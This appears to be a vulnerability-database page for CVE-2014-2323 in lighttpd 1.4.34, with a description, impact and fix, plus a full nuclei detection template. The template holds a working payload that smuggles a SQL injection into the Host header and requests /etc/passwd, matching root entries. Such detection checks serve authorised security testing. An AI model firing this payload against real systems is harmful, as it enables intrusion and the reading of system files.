HexBrain

Browse / CVEs / CVE-2014-2323

CVE-2014-2323· lighttpd / lighttpd· CWE-89

Lighttpd 1.4.34 SQL Injection and Path Traversal

criticalseverity
9.8CVSS score
62.8%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

A SQL injection vulnerability in mod_mysql_vhost.c in lighttpd before 1.4.35 allows remote attackers to execute arbitrary SQL commands via the host name (related to request_check_hostname).

Impact

Successful exploitation of these vulnerabilities could lead to unauthorized access to sensitive data and remote code execution

Fix

Upgrade to a patched version of Lighttpd or apply the necessary security patches

How to confirm it

Send: GET /etc/passwd
Positive when: matches /root:[x*]:0:0:/

Run it with nuclei: nuclei -id CVE-2014-2323 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2014-2323

info:
  name: Lighttpd 1.4.34 SQL Injection and Path Traversal
  author: geeknik
  severity: critical
  description: A SQL injection vulnerability in mod_mysql_vhost.c in lighttpd before 1.4.35 allows remote attackers to execute arbitrary SQL commands via the host name (related to request_check_hostname).
  impact: |
    Successful exploitation of these vulnerabilities could lead to unauthorized access to sensitive data and remote code execution
  remediation: |
    Upgrade to a patched version of Lighttpd or apply the necessary security patches
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2014-2323
    - https://download.lighttpd.net/lighttpd/security/lighttpd_sa_2014_01.txt
    - http://www.lighttpd.net/2014/3/12/1.4.35/
    - http://seclists.org/oss-sec/2014/q1/561
    - http://jvn.jp/en/jp/JVN37417423/index.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2014-2323
    cwe-id: CWE-89
    epss-score: 0.62752
    epss-percentile: 0.99202
    cpe: cpe:2.3:a:lighttpd:lighttpd:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: lighttpd
    product: lighttpd
    shodan-query: cpe:"cpe:2.3:a:lighttpd:lighttpd"
  tags: cve2014,cve,lighttpd,injection,seclists,sqli,vuln

http:
  - raw:
      - |+
        GET /etc/passwd HTTP/1.1
        Host: [::1]' UNION SELECT '/

    unsafe: true
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0:"

References

Use this check only on systems you are authorised to test. Where the data comes from